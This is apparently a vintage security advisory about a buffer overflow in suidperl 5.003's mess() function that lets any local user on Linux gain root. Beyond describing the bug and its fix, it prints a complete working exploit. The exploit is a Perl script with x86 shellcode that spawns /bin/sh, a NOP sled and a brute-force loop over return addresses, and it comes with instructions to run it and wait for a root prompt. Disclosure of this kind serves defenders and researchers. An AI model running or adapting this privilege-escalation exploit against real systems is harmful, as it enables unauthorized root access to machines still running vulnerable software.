COMMAND
sperl5.003
SYSTEMS AFFECTED
Linux
PROBLEM
Pavel Kankovsky found following. Any user can gain root
privileges on a Intel Linux system with suidperl 5.003 (having
the suid bit, of course) even if "SUIDBUF" and "two suidperl
security patches" have been applied. Non-Intel / non-Linux
platforms may be affected as well.
There is a nasty bug in mess() (util.c): it is possible to
overflow its buffer (via sprintf()); mess() tries to detect this
situation but fails to handle the problem properly:
[excerpt from util.c]
if (s - s_start >= sizeof(buf)) { /* Ooops! */
if (usermess)
fputs(SvPVX(tmpstr), stderr);
else
fputs(buf, stderr);
fputs("panic: message overflow - memory corrupted!\n",stderr);
my_exit(1);
}
It does not abort immediately. It prints out an error message and
calls my_exit(1), and this is very bad.
$ perl -v
This is perl, version 5.003 with EMBED
Locally applied patches:
SUIDBUF - Buffer overflow fixes for suidperl security
built under linux at Apr 22 1997 10:04:46
+ two suidperl security patches
$ perl `perl -e "print 'A' x 3000"`
Can't open perl script "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
...AAAAAAAAAAAAAAAAA": File name too long
panic: message overflow - memory corrupted!
$ Can't open perl script "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
...AAAAAAAAAAAAAAAAA": File name too long
panic: message overflow - memory corrupted!
Segmentation fault (core dumped)
$ gdb /usr/bin/perl core
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.16 (i586-unknown-linux), Copyright 1996 Free Software Foundation,
Inc...
(no debugging symbols found)...
Core was generated by `perl AAAAA...'.
Program terminated with signal 11, Segmentation fault.
Reading symbols ...
...
#0 0x41414141 in ?? ()
(gdb)
Voila! 0x41414141 == "AAAA"
The variable called top_env has been overwritten. In fact, it is
jmp_buf and Perl calls longjmp() with it somewhere in my_exit().
Run this and wait for a root prompt (tested on two Red Hat 4.2
systems running on Intel (with perl-5.003-8 and -9)):
#!/usr/bin/perl
# yes, this suidperl exploit is in perl, isn't it wonderful? :)
$| = 1;
$shellcode =
"\x90" x 512 . # nops
"\xbc\xf0\xff\xff\xbf" . # movl $0xbffffff0,%esp
# "standard shellcode" by Aleph One
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
# start and end of .data
# adjust this using /proc/*/maps
$databot = 0x080a2000;
$datatop = 0x080ab000;
# trial and error loop
$address = $databot + 4;
while ($address < $datatop) {
$smash_me =
$shellcode . ('A' x (2052 - length($shellcode))) .
(pack("l", $address) x 1000) . ('B' x 1000);
$pid = fork();
if (!$pid) {
exec('/usr/bin/sperl5.003', $smash_me);
}
else {
wait;
if ($? == 0) {
printf("THE MAGIC ADDRESS WAS %08x\n", $address);
exit;
}
}
$address += 128;
}
Other platforms may be affected too.
SOLUTION
Perl 5.004 is NOT VULNERABLE. Obvious solution is:
chmod u-s /usr/bin/sperl5.003